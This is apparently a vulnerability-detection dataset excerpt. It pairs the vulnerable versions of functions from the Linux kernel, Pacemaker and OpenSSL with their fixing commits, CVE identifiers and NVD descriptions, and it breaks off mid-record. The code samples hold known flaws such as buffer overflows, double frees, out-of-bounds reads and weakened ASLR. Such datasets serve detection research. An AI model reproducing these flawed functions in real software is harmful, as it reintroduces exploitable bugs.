get_matching_model_microcode(int cpu, unsigned long start, void *data, size_t size, struct mc_saved_data *mc_saved_data, unsigned long *mc_saved_in_initrd, struct ucode_cpu_info *uci) { u8 *ucode_ptr = data; unsigned int leftover = size; enum ucode_state state = UCODE_OK; unsigned int mc_size; struct microcode_header_intel *mc_header; struct microcode_intel *mc_saved_tmp[MAX_UCODE_COUNT]; unsigned int mc_saved_count = mc_saved_data->mc_saved_count; int i; while (leftover) { mc_header = (struct microcode_header_intel *)ucode_ptr; mc_size = get_totalsize(mc_header); if (!mc_size || mc_size > leftover || microcode_sanity_check(ucode_ptr, 0) < 0) break; leftover -= mc_size; /* * Since APs with same family and model as the BSP may boot in * the platform, we need to find and save microcode patches * with the same family and model as the BSP. */ if (matching_model_microcode(mc_header, uci->cpu_sig.sig) != UCODE_OK) { ucode_ptr += mc_size; continue; } _save_mc(mc_saved_tmp, ucode_ptr, &mc_saved_count); ucode_ptr += mc_size; } if (leftover) { state = UCODE_ERROR; goto out; } if (mc_saved_count == 0) { state = UCODE_NFOUND; goto out; } for (i = 0; i < mc_saved_count; i++) mc_saved_in_initrd[i] = (unsigned long)mc_saved_tmp[i] - start; mc_saved_data->mc_saved_count = mc_saved_count; out: return state; }

intel_early.c

CVE-2015-2666

Stack-based buffer overflow in the get_matching_model_microcode function in arch/x86/kernel/cpu/microcode/intel_early.c in the Linux kernel before 4.0 allows context-dependent attackers to gain privileges by constructing a crafted microcode header and leveraging root privileges for write access to the initrd.

https://nvd.nist.gov/vuln/detail/CVE-2015-2666

pacemaker

84ac07c

https://github.com/ClusterLabs/pacemaker

https://github.com/ClusterLabs/pacemaker/commit/84ac07c

Fix: acl: Do not delay evaluation of added nodes in some situations It is not appropriate when the node has no children as it is not a placeholder

__xml_acl_post_process(xmlNode * xml) { xmlNode *cIter = __xml_first_child(xml); xml_private_t *p = xml->_private; if(is_set(p->flags, xpf_created)) { xmlAttr *xIter = NULL; /* Always allow new scaffolding, ie. node with no attributes or only an 'id' */ for (xIter = crm_first_attr(xml); xIter != NULL; xIter = xIter->next) { const char *prop_name = (const char *)xIter->name; if (strcmp(prop_name, XML_ATTR_ID) == 0) { /* Delay the acl check */ continue; } else if(__xml_acl_check(xml, NULL, xpf_acl_write)) { crm_trace("Creation of %s=%s is allowed", crm_element_name(xml), ID(xml)); break; } else { char *path = xml_get_path(xml); crm_trace("Cannot add new node %s at %s", crm_element_name(xml), path); if(xml != xmlDocGetRootElement(xml->doc)) { xmlUnlinkNode(xml); xmlFreeNode(xml); } free(path); return; } } } while (cIter != NULL) { xmlNode *child = cIter; cIter = __xml_next(cIter); /* In case it is free'd */ __xml_acl_post_process(child); } }

xml.c

CVE-2015-1867

Pacemaker before 1.1.13 does not properly evaluate added nodes, which allows remote read-only users to gain privileges via an acl command.

https://nvd.nist.gov/vuln/detail/CVE-2015-1867

linux

f0d1bec9d58d4c038d0ac958c9af82be6eb18045

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/f0d1bec9d58d4c038d0ac958c9af82be6eb18045

new helper: copy_page_from_iter() parallel to copy_page_to_iter(). pipe_write() switched to it (and became ->write_iter()). Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>

pipe_write(struct kiocb *iocb, const struct iovec *_iov, unsigned long nr_segs, loff_t ppos) { struct file *filp = iocb->ki_filp; struct pipe_inode_info *pipe = filp->private_data; ssize_t ret; int do_wakeup; struct iovec *iov = (struct iovec *)_iov; size_t total_len; ssize_t chars; total_len = iov_length(iov, nr_segs); /* Null write succeeds. */ if (unlikely(total_len == 0)) return 0; do_wakeup = 0; ret = 0; __pipe_lock(pipe); if (!pipe->readers) { send_sig(SIGPIPE, current, 0); ret = -EPIPE; goto out; } /* We try to merge small writes */ chars = total_len & (PAGE_SIZE-1); /* size of the last buffer */ if (pipe->nrbufs && chars != 0) { int lastbuf = (pipe->curbuf + pipe->nrbufs - 1) & (pipe->buffers - 1); struct pipe_buffer *buf = pipe->bufs + lastbuf; const struct pipe_buf_operations *ops = buf->ops; int offset = buf->offset + buf->len; if (ops->can_merge && offset + chars <= PAGE_SIZE) { int error, atomic = 1; void *addr; error = ops->confirm(pipe, buf); if (error) goto out; iov_fault_in_pages_read(iov, chars); redo1: if (atomic) addr = kmap_atomic(buf->page); else addr = kmap(buf->page); error = pipe_iov_copy_from_user(offset + addr, iov, chars, atomic); if (atomic) kunmap_atomic(addr); else kunmap(buf->page); ret = error; do_wakeup = 1; if (error) { if (atomic) { atomic = 0; goto redo1; } goto out; } buf->len += chars; total_len -= chars; ret = chars; if (!total_len) goto out; } } for (;;) { int bufs; if (!pipe->readers) { send_sig(SIGPIPE, current, 0); if (!ret) ret = -EPIPE; break; } bufs = pipe->nrbufs; if (bufs < pipe->buffers) { int newbuf = (pipe->curbuf + bufs) & (pipe->buffers-1); struct pipe_buffer *buf = pipe->bufs + newbuf; struct page *page = pipe->tmp_page; char *src; int error, atomic = 1; if (!page) { page = alloc_page(GFP_HIGHUSER); if (unlikely(!page)) { ret = ret ? : -ENOMEM; break; } pipe->tmp_page = page; } /* Always wake up, even if the copy fails. Otherwise * we lock up (O_NONBLOCK-)readers that sleep due to * syscall merging. * FIXME! Is this really true? */ do_wakeup = 1; chars = PAGE_SIZE; if (chars > total_len) chars = total_len; iov_fault_in_pages_read(iov, chars); redo2: if (atomic) src = kmap_atomic(page); else src = kmap(page); error = pipe_iov_copy_from_user(src, iov, chars, atomic); if (atomic) kunmap_atomic(src); else kunmap(page); if (unlikely(error)) { if (atomic) { atomic = 0; goto redo2; } if (!ret) ret = error; break; } ret += chars; /* Insert it into the buffer array */ buf->page = page; buf->ops = &anon_pipe_buf_ops; buf->offset = 0; buf->len = chars; buf->flags = 0; if (is_packetized(filp)) { buf->ops = &packet_pipe_buf_ops; buf->flags = PIPE_BUF_FLAG_PACKET; } pipe->nrbufs = ++bufs; pipe->tmp_page = NULL; total_len -= chars; if (!total_len) break; } if (bufs < pipe->buffers) continue; if (filp->f_flags & O_NONBLOCK) { if (!ret) ret = -EAGAIN; break; } if (signal_pending(current)) { if (!ret) ret = -ERESTARTSYS; break; } if (do_wakeup) { wake_up_interruptible_sync_poll(&pipe->wait, POLLIN | POLLRDNORM); kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN); do_wakeup = 0; } pipe->waiting_writers++; pipe_wait(pipe); pipe->waiting_writers--; } out: __pipe_unlock(pipe); if (do_wakeup) { wake_up_interruptible_sync_poll(&pipe->wait, POLLIN | POLLRDNORM); kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN); } if (ret > 0 && sb_start_write_trylock(file_inode(filp)->i_sb)) { int err = file_update_time(filp); if (err) ret = err; sb_end_write(file_inode(filp)->i_sb); } return ret; }

pipe.c

CVE-2015-1805

The (1) pipe_read and (2) pipe_write implementations in fs/pipe.c in the Linux kernel before 3.16 do not properly consider the side effects of failed __copy_to_user_inatomic and __copy_from_user_inatomic calls, which allows local users to cause a denial of service (system crash) or possibly gain privileges via a crafted application, aka an "I/O vector array overrun."

https://nvd.nist.gov/vuln/detail/CVE-2015-1805

openssl

cd30f03ac5bf2962f44bd02ae8d88245dff2f12c

https://github.com/openssl/openssl

https://github.com/openssl/openssl/commit/cd30f03ac5bf2962f44bd02ae8d88245dff2f12c

Canonicalise input in CMS_verify. If content is detached and not binary mode translate the input to CRLF format. Before this change the input was verified verbatim which lead to a discrepancy between sign and verify.

static void do_free_upto(BIO *f, BIO *upto) { if (upto) { BIO *tbio; do { tbio = BIO_pop(f); BIO_free(f); f = tbio; } while (f != upto); } else BIO_free_all(f); }

None

CVE-2015-1792

The do_free_upto function in crypto/cms/cms_smime.c in OpenSSL before 0.9.8zg, 1.0.0 before 1.0.0s, 1.0.1 before 1.0.1n, and 1.0.2 before 1.0.2b allows remote attackers to cause a denial of service (infinite loop) via vectors that trigger a NULL value of a BIO data structure, as demonstrated by an unrecognized X.660 OID for a hash function.

https://nvd.nist.gov/vuln/detail/CVE-2015-1792

openssl

98ece4eebfb6cd45cc8d550c6ac0022965071afc

https://github.com/openssl/openssl

https://github.com/openssl/openssl/commit/98ece4eebfb6cd45cc8d550c6ac0022965071afc

Fix race condition in NewSessionTicket If a NewSessionTicket is received by a multi-threaded client when attempting to reuse a previous ticket then a race condition can occur potentially leading to a double free of the ticket data. CVE-2015-1791 This also fixes RT#3808 where a session ID is changed for a session already in the client session cache. Since the session ID is the key to the cache this breaks the cache access. Parts of this patch were inspired by this Akamai change: https://github.com/akamai/openssl/commit/c0bf69a791239ceec64509f9f19fcafb2461b0d3 Reviewed-by: Rich Salz <rsalz@openssl.org>

int ssl3_get_new_session_ticket(SSL *s) { int ok, al, ret = 0, ticklen; long n; const unsigned char *p; unsigned char *d; n = s->method->ssl_get_message(s, SSL3_ST_CR_SESSION_TICKET_A, SSL3_ST_CR_SESSION_TICKET_B, SSL3_MT_NEWSESSION_TICKET, 16384, &ok); if (!ok) return ((int)n); if (n < 6) { /* need at least ticket_lifetime_hint + ticket length */ al = SSL_AD_DECODE_ERROR; SSLerr(SSL_F_SSL3_GET_NEW_SESSION_TICKET, SSL_R_LENGTH_MISMATCH); goto f_err; } p = d = (unsigned char *)s->init_msg; n2l(p, s->session->tlsext_tick_lifetime_hint); n2s(p, ticklen); /* ticket_lifetime_hint + ticket_length + ticket */ if (ticklen + 6 != n) { al = SSL_AD_DECODE_ERROR; SSLerr(SSL_F_SSL3_GET_NEW_SESSION_TICKET, SSL_R_LENGTH_MISMATCH); goto f_err; } OPENSSL_free(s->session->tlsext_tick); s->session->tlsext_ticklen = 0; s->session->tlsext_tick = OPENSSL_malloc(ticklen); if (!s->session->tlsext_tick) { SSLerr(SSL_F_SSL3_GET_NEW_SESSION_TICKET, ERR_R_MALLOC_FAILURE); goto err; } memcpy(s->session->tlsext_tick, p, ticklen); s->session->tlsext_ticklen = ticklen; /* * There are two ways to detect a resumed ticket session. One is to set * an appropriate session ID and then the server must return a match in * ServerHello. This allows the normal client session ID matching to work * and we know much earlier that the ticket has been accepted. The * other way is to set zero length session ID when the ticket is * presented and rely on the handshake to determine session resumption. * We choose the former approach because this fits in with assumptions * elsewhere in OpenSSL. The session ID is set to the SHA256 (or SHA1 is * SHA256 is disabled) hash of the ticket. */ EVP_Digest(p, ticklen, s->session->session_id, &s->session->session_id_length, EVP_sha256(), NULL); ret = 1; return (ret); f_err: ssl3_send_alert(s, SSL3_AL_FATAL, al); err: s->state = SSL_ST_ERR; return (-1); }

None

CVE-2015-1791

Race condition in the ssl3_get_new_session_ticket function in ssl/s3_clnt.c in OpenSSL before 0.9.8zg, 1.0.0 before 1.0.0s, 1.0.1 before 1.0.1n, and 1.0.2 before 1.0.2b, when used for a multi-threaded client, allows remote attackers to cause a denial of service (double free and application crash) or possibly have unspecified other impact by providing a NewSessionTicket during an attempt to reuse a ticket that had been obtained earlier.

https://nvd.nist.gov/vuln/detail/CVE-2015-1791

openssl

59302b600e8d5b77ef144e447bb046fd7ab72686

https://github.com/openssl/openssl

https://github.com/openssl/openssl/commit/59302b600e8d5b77ef144e447bb046fd7ab72686

PKCS#7: Fix NULL dereference with missing EncryptedContent. CVE-2015-1790 Reviewed-by: Rich Salz <rsalz@openssl.org>

BIO *PKCS7_dataDecode(PKCS7 *p7, EVP_PKEY *pkey, BIO *in_bio, X509 *pcert) { int i, j; BIO *out = NULL, *btmp = NULL, *etmp = NULL, *bio = NULL; X509_ALGOR *xa; ASN1_OCTET_STRING *data_body = NULL; const EVP_MD *evp_md; const EVP_CIPHER *evp_cipher = NULL; EVP_CIPHER_CTX *evp_ctx = NULL; X509_ALGOR *enc_alg = NULL; STACK_OF(X509_ALGOR) *md_sk = NULL; STACK_OF(PKCS7_RECIP_INFO) *rsk = NULL; PKCS7_RECIP_INFO *ri = NULL; unsigned char *ek = NULL, *tkey = NULL; int eklen = 0, tkeylen = 0; if (p7 == NULL) { PKCS7err(PKCS7_F_PKCS7_DATADECODE, PKCS7_R_INVALID_NULL_POINTER); return NULL; } if (p7->d.ptr == NULL) { PKCS7err(PKCS7_F_PKCS7_DATADECODE, PKCS7_R_NO_CONTENT); return NULL; } i = OBJ_obj2nid(p7->type); p7->state = PKCS7_S_HEADER; switch (i) { case NID_pkcs7_signed: data_body = PKCS7_get_octet_string(p7->d.sign->contents); if (!PKCS7_is_detached(p7) && data_body == NULL) { PKCS7err(PKCS7_F_PKCS7_DATADECODE, PKCS7_R_INVALID_SIGNED_DATA_TYPE); goto err; } md_sk = p7->d.sign->md_algs; break; case NID_pkcs7_signedAndEnveloped: rsk = p7->d.signed_and_enveloped->recipientinfo; md_sk = p7->d.signed_and_enveloped->md_algs; data_body = p7->d.signed_and_enveloped->enc_data->enc_data; enc_alg = p7->d.signed_and_enveloped->enc_data->algorithm; evp_cipher = EVP_get_cipherbyobj(enc_alg->algorithm); if (evp_cipher == NULL) { PKCS7err(PKCS7_F_PKCS7_DATADECODE, PKCS7_R_UNSUPPORTED_CIPHER_TYPE); goto err; } break; case NID_pkcs7_enveloped: rsk = p7->d.enveloped->recipientinfo; enc_alg = p7->d.enveloped->enc_data->algorithm; data_body = p7->d.enveloped->enc_data->enc_data; evp_cipher = EVP_get_cipherbyobj(enc_alg->algorithm); if (evp_cipher == NULL) { PKCS7err(PKCS7_F_PKCS7_DATADECODE, PKCS7_R_UNSUPPORTED_CIPHER_TYPE); goto err; } break; default: PKCS7err(PKCS7_F_PKCS7_DATADECODE, PKCS7_R_UNSUPPORTED_CONTENT_TYPE); goto err; } /* We will be checking the signature */ if (md_sk != NULL) { for (i = 0; i < sk_X509_ALGOR_num(md_sk); i++) { xa = sk_X509_ALGOR_value(md_sk, i); if ((btmp = BIO_new(BIO_f_md())) == NULL) { PKCS7err(PKCS7_F_PKCS7_DATADECODE, ERR_R_BIO_LIB); goto err; } j = OBJ_obj2nid(xa->algorithm); evp_md = EVP_get_digestbynid(j); if (evp_md == NULL) { PKCS7err(PKCS7_F_PKCS7_DATADECODE, PKCS7_R_UNKNOWN_DIGEST_TYPE); goto err; } BIO_set_md(btmp, evp_md); if (out == NULL) out = btmp; else BIO_push(out, btmp); btmp = NULL; } } if (evp_cipher != NULL) { if ((etmp = BIO_new(BIO_f_cipher())) == NULL) { PKCS7err(PKCS7_F_PKCS7_DATADECODE, ERR_R_BIO_LIB); goto err; } /* * It was encrypted, we need to decrypt the secret key with the * private key */ /* * Find the recipientInfo which matches the passed certificate (if * any) */ if (pcert) { for (i = 0; i < sk_PKCS7_RECIP_INFO_num(rsk); i++) { ri = sk_PKCS7_RECIP_INFO_value(rsk, i); if (!pkcs7_cmp_ri(ri, pcert)) break; ri = NULL; } if (ri == NULL) { PKCS7err(PKCS7_F_PKCS7_DATADECODE, PKCS7_R_NO_RECIPIENT_MATCHES_CERTIFICATE); goto err; } } /* If we haven't got a certificate try each ri in turn */ if (pcert == NULL) { /* * Always attempt to decrypt all rinfo even after success as a * defence against MMA timing attacks. */ for (i = 0; i < sk_PKCS7_RECIP_INFO_num(rsk); i++) { ri = sk_PKCS7_RECIP_INFO_value(rsk, i); if (pkcs7_decrypt_rinfo(&ek, &eklen, ri, pkey) < 0) goto err; ERR_clear_error(); } } else { /* Only exit on fatal errors, not decrypt failure */ if (pkcs7_decrypt_rinfo(&ek, &eklen, ri, pkey) < 0) goto err; ERR_clear_error(); } evp_ctx = NULL; BIO_get_cipher_ctx(etmp, &evp_ctx); if (EVP_CipherInit_ex(evp_ctx, evp_cipher, NULL, NULL, NULL, 0) <= 0) goto err; if (EVP_CIPHER_asn1_to_param(evp_ctx, enc_alg->parameter) < 0) goto err; /* Generate random key as MMA defence */ tkeylen = EVP_CIPHER_CTX_key_length(evp_ctx); tkey = OPENSSL_malloc(tkeylen); if (!tkey) goto err; if (EVP_CIPHER_CTX_rand_key(evp_ctx, tkey) <= 0) goto err; if (ek == NULL) { ek = tkey; eklen = tkeylen; tkey = NULL; } if (eklen != EVP_CIPHER_CTX_key_length(evp_ctx)) { /* * Some S/MIME clients don't use the same key and effective key * length. The key length is determined by the size of the * decrypted RSA key. */ if (!EVP_CIPHER_CTX_set_key_length(evp_ctx, eklen)) { /* Use random key as MMA defence */ OPENSSL_clear_free(ek, eklen); ek = tkey; eklen = tkeylen; tkey = NULL; } } /* Clear errors so we don't leak information useful in MMA */ ERR_clear_error(); if (EVP_CipherInit_ex(evp_ctx, NULL, NULL, ek, NULL, 0) <= 0) goto err; OPENSSL_clear_free(ek, eklen); ek = NULL; OPENSSL_clear_free(tkey, tkeylen); tkey = NULL; if (out == NULL) out = etmp; else BIO_push(out, etmp); etmp = NULL; } if (PKCS7_is_detached(p7) || (in_bio != NULL)) { bio = in_bio; } else { if (data_body->length > 0) bio = BIO_new_mem_buf(data_body->data, data_body->length); else { bio = BIO_new(BIO_s_mem()); BIO_set_mem_eof_return(bio, 0); } if (bio == NULL) goto err; } BIO_push(out, bio); bio = NULL; return out; err: OPENSSL_clear_free(ek, eklen); OPENSSL_clear_free(tkey, tkeylen); BIO_free_all(out); BIO_free_all(btmp); BIO_free_all(etmp); BIO_free_all(bio); return NULL; }

None

CVE-2015-1790

The PKCS7_dataDecodefunction in crypto/pkcs7/pk7_doit.c in OpenSSL before 0.9.8zg, 1.0.0 before 1.0.0s, 1.0.1 before 1.0.1n, and 1.0.2 before 1.0.2b allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) via a PKCS#7 blob that uses ASN.1 encoding and lacks inner EncryptedContent data.

https://nvd.nist.gov/vuln/detail/CVE-2015-1790

openssl

f48b83b4fb7d6689584cf25f61ca63a4891f5b11

https://github.com/openssl/openssl

https://github.com/openssl/openssl/commit/f48b83b4fb7d6689584cf25f61ca63a4891f5b11

Fix length checks in X509_cmp_time to avoid out-of-bounds reads. Also tighten X509_cmp_time to reject more than three fractional seconds in the time; and to reject trailing garbage after the offset. CVE-2015-1789 Reviewed-by: Viktor Dukhovni <viktor@openssl.org> Reviewed-by: Richard Levitte <levitte@openssl.org>

int X509_cmp_time(const ASN1_TIME *ctm, time_t *cmp_time) { char *str; ASN1_TIME atm; long offset; char buff1[24], buff2[24], *p; int i, j; p = buff1; i = ctm->length; str = (char *)ctm->data; if (ctm->type == V_ASN1_UTCTIME) { if ((i < 11) || (i > 17)) return 0; memcpy(p, str, 10); p += 10; str += 10; } else { if (i < 13) return 0; memcpy(p, str, 12); p += 12; str += 12; } if ((*str == 'Z') || (*str == '-') || (*str == '+')) { *(p++) = '0'; *(p++) = '0'; } else { *(p++) = *(str++); *(p++) = *(str++); /* Skip any fractional seconds... */ if (*str == '.') { str++; while ((*str >= '0') && (*str <= '9')) str++; } } *(p++) = 'Z'; *(p++) = '\0'; if (*str == 'Z') offset = 0; else { if ((*str != '+') && (*str != '-')) return 0; offset = ((str[1] - '0') * 10 + (str[2] - '0')) * 60; offset += (str[3] - '0') * 10 + (str[4] - '0'); if (*str == '-') offset = -offset; } atm.type = ctm->type; atm.flags = 0; atm.length = sizeof(buff2); atm.data = (unsigned char *)buff2; if (X509_time_adj(&atm, offset * 60, cmp_time) == NULL) return 0; if (ctm->type == V_ASN1_UTCTIME) { i = (buff1[0] - '0') * 10 + (buff1[1] - '0'); if (i < 50) i += 100; /* cf. RFC 2459 */ j = (buff2[0] - '0') * 10 + (buff2[1] - '0'); if (j < 50) j += 100; if (i < j) return -1; if (i > j) return 1; } i = strcmp(buff1, buff2); if (i == 0) /* wait a second then return younger :-) */ return -1; else return i; }

None

CVE-2015-1789

The X509_cmp_time function in crypto/x509/x509_vfy.c in OpenSSL before 0.9.8zg, 1.0.0 before 1.0.0s, 1.0.1 before 1.0.1n, and 1.0.2 before 1.0.2b allows remote attackers to cause a denial of service (out-of-bounds read and application crash) via a crafted length field in ASN1_TIME data, as demonstrated by an attack against a server that supports client authentication with a custom verification callback.

https://nvd.nist.gov/vuln/detail/CVE-2015-1789

linux

4e7c22d447bb6d7e37bfe39ff658486ae78e8d77

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/4e7c22d447bb6d7e37bfe39ff658486ae78e8d77

x86, mm/ASLR: Fix stack randomization on 64-bit systems The issue is that the stack for processes is not properly randomized on 64 bit architectures due to an integer overflow. The affected function is randomize_stack_top() in file "fs/binfmt_elf.c": static unsigned long randomize_stack_top(unsigned long stack_top) { unsigned int random_variable = 0; if ((current->flags & PF_RANDOMIZE) && !(current->personality & ADDR_NO_RANDOMIZE)) { random_variable = get_random_int() & STACK_RND_MASK; random_variable <<= PAGE_SHIFT; } return PAGE_ALIGN(stack_top) + random_variable; return PAGE_ALIGN(stack_top) - random_variable; } Note that, it declares the "random_variable" variable as "unsigned int". Since the result of the shifting operation between STACK_RND_MASK (which is 0x3fffff on x86_64, 22 bits) and PAGE_SHIFT (which is 12 on x86_64): random_variable <<= PAGE_SHIFT; then the two leftmost bits are dropped when storing the result in the "random_variable". This variable shall be at least 34 bits long to hold the (22+12) result. These two dropped bits have an impact on the entropy of process stack. Concretely, the total stack entropy is reduced by four: from 2^28 to 2^30 (One fourth of expected entropy). This patch restores back the entropy by correcting the types involved in the operations in the functions randomize_stack_top() and stack_maxrandom_size(). The successful fix can be tested with: $ for i in `seq 1 10`; do cat /proc/self/maps | grep stack; done 7ffeda566000-7ffeda587000 rw-p 00000000 00:00 0 [stack] 7fff5a332000-7fff5a353000 rw-p 00000000 00:00 0 [stack] 7ffcdb7a1000-7ffcdb7c2000 rw-p 00000000 00:00 0 [stack] 7ffd5e2c4000-7ffd5e2e5000 rw-p 00000000 00:00 0 [stack] ... Once corrected, the leading bytes should be between 7ffc and 7fff, rather than always being 7fff. Signed-off-by: Hector Marco-Gisbert <hecmargi@upv.es> Signed-off-by: Ismael Ripoll <iripoll@upv.es> [ Rebased, fixed 80 char bugs, cleaned up commit message, added test example and CVE ] Signed-off-by: Kees Cook <keescook@chromium.org> Cc: <stable@vger.kernel.org> Cc: Linus Torvalds <torvalds@linux-foundation.org> Cc: Andrew Morton <akpm@linux-foundation.org> Cc: Al Viro <viro@zeniv.linux.org.uk> Fixes: CVE-2015-1593 Link: http://lkml.kernel.org/r/20150214173350.GA18393@www.outflux.net Signed-off-by: Borislav Petkov <bp@suse.de>

static unsigned int stack_maxrandom_size(void) { unsigned int max = 0; if ((current->flags & PF_RANDOMIZE) && !(current->personality & ADDR_NO_RANDOMIZE)) { max = ((-1U) & STACK_RND_MASK) << PAGE_SHIFT; } return max; }

mmap.c

CVE-2015-1593

The stack randomization feature in the Linux kernel before 3.19.1 on 64-bit platforms uses incorrect data types for the results of bitwise left-shift operations, which makes it easier for attackers to bypass the ASLR protection mechanism by predicting the address of the top of the stack, related to the randomize_stack_top function in fs/binfmt_elf.c and the stack_maxrandom_size function in arch/x86/mm/mmap.c.

https://nvd.nist.gov/vuln/detail/CVE-2015-1593

linux

4e7c22d447bb6d7e37bfe39ff658486ae78e8d77

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/4e7c22d447bb6d7e37bfe39ff658486ae78e8d77

x86, mm/ASLR: Fix stack randomization on 64-bit systems The issue is that the stack for processes is not properly randomized on 64 bit architectures due to an integer overflow. The affected function is randomize_stack_top() in file "fs/binfmt_elf.c": static unsigned long randomize_stack_top(unsigned long stack_top) { unsigned int random_variable = 0; if ((current->flags & PF_RANDOMIZE) && !(current->personality & ADDR_NO_RANDOMIZE)) { random_variable = get_random_int() & STACK_RND_MASK; random_variable <<= PAGE_SHIFT; } return PAGE_ALIGN(stack_top) + random_variable; return PAGE_ALIGN(stack_top) - random_variable; } Note that, it declares the "random_variable" variable as "unsigned int". Since the result of the shifting operation between STACK_RND_MASK (which is 0x3fffff on x86_64, 22 bits) and PAGE_SHIFT (which is 12 on x86_64): random_variable <<= PAGE_SHIFT; then the two leftmost bits are dropped when storing the result in the "random_variable". This variable shall be at least 34 bits long to hold the (22+12) result. These two dropped bits have an impact on the entropy of process stack. Concretely, the total stack entropy is reduced by four: from 2^28 to 2^30 (One fourth of expected entropy). This patch restores back the entropy by correcting the types involved in the operations in the functions randomize_stack_top() and stack_maxrandom_size(). The successful fix can be tested with: $ for i in `seq 1 10`; do cat /proc/self/maps | grep stack; done 7ffeda566000-7ffeda587000 rw-p 00000000 00:00 0 [stack] 7fff5a332000-7fff5a353000 rw-p 00000000 00:00 0 [stack] 7ffcdb7a1000-7ffcdb7c2000 rw-p 00000000 00:00 0 [stack] 7ffd5e2c4000-7ffd5e2e5000 rw-p 00000000 00:00 0 [stack] ... Once corrected, the leading bytes should be between 7ffc and 7fff, rather than always being 7fff. Signed-off-by: Hector Marco-Gisbert <hecmargi@upv.es> Signed-off-by: Ismael Ripoll <iripoll@upv.es> [ Rebased, fixed 80 char bugs, cleaned up commit message, added test example and CVE ] Signed-off-by: Kees Cook <keescook@chromium.org> Cc: <stable@vger.kernel.org> Cc: Linus Torvalds <torvalds@linux-foundation.org> Cc: Andrew Morton <akpm@linux-foundation.org> Cc: Al Viro <viro@zeniv.linux.org.uk> Fixes: CVE-2015-1593 Link: http://lkml.kernel.org/r/20150214173350.GA18393@www.outflux.net Signed-off-by: Borislav Petkov <bp@suse.de>

static unsigned long randomize_stack_top(unsigned long stack_top) { unsigned int random_variable = 0; if ((current->flags & PF_RANDOMIZE) && !(current->personality & ADDR_NO_RANDOMIZE)) { random_variable = get_random_int() & STACK_RND_MASK; random_variable <<= PAGE_SHIFT; } #ifdef CONFIG_STACK_GROWSUP return PAGE_ALIGN(stack_top) + random_variable; #else return PAGE_ALIGN(stack_top) - random_variable; #endif }

binfmt_elf.c

CVE-2015-1593

The stack randomization feature in the Linux kernel before 3.19.1 on 64-bit platforms uses incorrect data types for the results of bitwise left-shift operations, which makes it easier for attackers to bypass the ASLR protection mechanism by predicting the address of the top of the stack, related to the randomize_stack_top function in fs/binfmt_elf.c and the stack_maxrandom_size function in arch/x86/mm/mmap.c.

https://nvd.nist.gov/vuln/detail/CVE-2015-1593

linux

600ddd6825543962fb807884169e57b580dba208

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/600ddd6825543962fb807884169e57b580dba208

net: sctp: fix slab corruption from use after free on INIT collisions When hitting an INIT collision case during the 4WHS with AUTH enabled, as already described in detail in commit 1be9a950c646 ("net: sctp: inherit auth_capable on INIT collisions"), it can happen that we occasionally still remotely trigger the following panic on server side which seems to have been uncovered after the fix from commit 1be9a950c646 ... [ 533.876389] BUG: unable to handle kernel paging request at 00000000ffffffff [ 533.913657] IP: [<ffffffff811ac385>] __kmalloc+0x95/0x230 [ 533.940559] PGD 5030f2067 PUD 0 [ 533.957104] Oops: 0000 [#1] SMP [ 533.974283] Modules linked in: sctp mlx4_en [...] [ 534.939704] Call Trace: [ 534.951833] [<ffffffff81294e30>] ? crypto_init_shash_ops+0x60/0xf0 [ 534.984213] [<ffffffff81294e30>] crypto_init_shash_ops+0x60/0xf0 [ 535.015025] [<ffffffff8128c8ed>] __crypto_alloc_tfm+0x6d/0x170 [ 535.045661] [<ffffffff8128d12c>] crypto_alloc_base+0x4c/0xb0 [ 535.074593] [<ffffffff8160bd42>] ? _raw_spin_lock_bh+0x12/0x50 [ 535.105239] [<ffffffffa0418c11>] sctp_inet_listen+0x161/0x1e0 [sctp] [ 535.138606] [<ffffffff814e43bd>] SyS_listen+0x9d/0xb0 [ 535.166848] [<ffffffff816149a9>] system_call_fastpath+0x16/0x1b ... or depending on the the application, for example this one: [ 1370.026490] BUG: unable to handle kernel paging request at 00000000ffffffff [ 1370.026506] IP: [<ffffffff811ab455>] kmem_cache_alloc+0x75/0x1d0 [ 1370.054568] PGD 633c94067 PUD 0 [ 1370.070446] Oops: 0000 [#1] SMP [ 1370.085010] Modules linked in: sctp kvm_amd kvm [...] [ 1370.963431] Call Trace: [ 1370.974632] [<ffffffff8120f7cf>] ? SyS_epoll_ctl+0x53f/0x960 [ 1371.000863] [<ffffffff8120f7cf>] SyS_epoll_ctl+0x53f/0x960 [ 1371.027154] [<ffffffff812100d3>] ? anon_inode_getfile+0xd3/0x170 [ 1371.054679] [<ffffffff811e3d67>] ? __alloc_fd+0xa7/0x130 [ 1371.080183] [<ffffffff816149a9>] system_call_fastpath+0x16/0x1b With slab debugging enabled, we can see that the poison has been overwritten: [ 669.826368] BUG kmalloc-128 (Tainted: G W ): Poison overwritten [ 669.826385] INFO: 0xffff880228b32e50-0xffff880228b32e50. First byte 0x6a instead of 0x6b [ 669.826414] INFO: Allocated in sctp_auth_create_key+0x23/0x50 [sctp] age=3 cpu=0 pid=18494 [ 669.826424] __slab_alloc+0x4bf/0x566 [ 669.826433] __kmalloc+0x280/0x310 [ 669.826453] sctp_auth_create_key+0x23/0x50 [sctp] [ 669.826471] sctp_auth_asoc_create_secret+0xcb/0x1e0 [sctp] [ 669.826488] sctp_auth_asoc_init_active_key+0x68/0xa0 [sctp] [ 669.826505] sctp_do_sm+0x29d/0x17c0 [sctp] [...] [ 669.826629] INFO: Freed in kzfree+0x31/0x40 age=1 cpu=0 pid=18494 [ 669.826635] __slab_free+0x39/0x2a8 [ 669.826643] kfree+0x1d6/0x230 [ 669.826650] kzfree+0x31/0x40 [ 669.826666] sctp_auth_key_put+0x19/0x20 [sctp] [ 669.826681] sctp_assoc_update+0x1ee/0x2d0 [sctp] [ 669.826695] sctp_do_sm+0x674/0x17c0 [sctp] Since this only triggers in some collision-cases with AUTH, the problem at heart is that sctp_auth_key_put() on asoc->asoc_shared_key is called twice when having refcnt 1, once directly in sctp_assoc_update() and yet again from within sctp_auth_asoc_init_active_key() via sctp_assoc_update() on the already kzfree'd memory, which is also consistent with the observation of the poison decrease from 0x6b to 0x6a (note: the overwrite is detected at a later point in time when poison is checked on new allocation). Reference counting of auth keys revisited: Shared keys for AUTH chunks are being stored in endpoints and associations in endpoint_shared_keys list. On endpoint creation, a null key is being 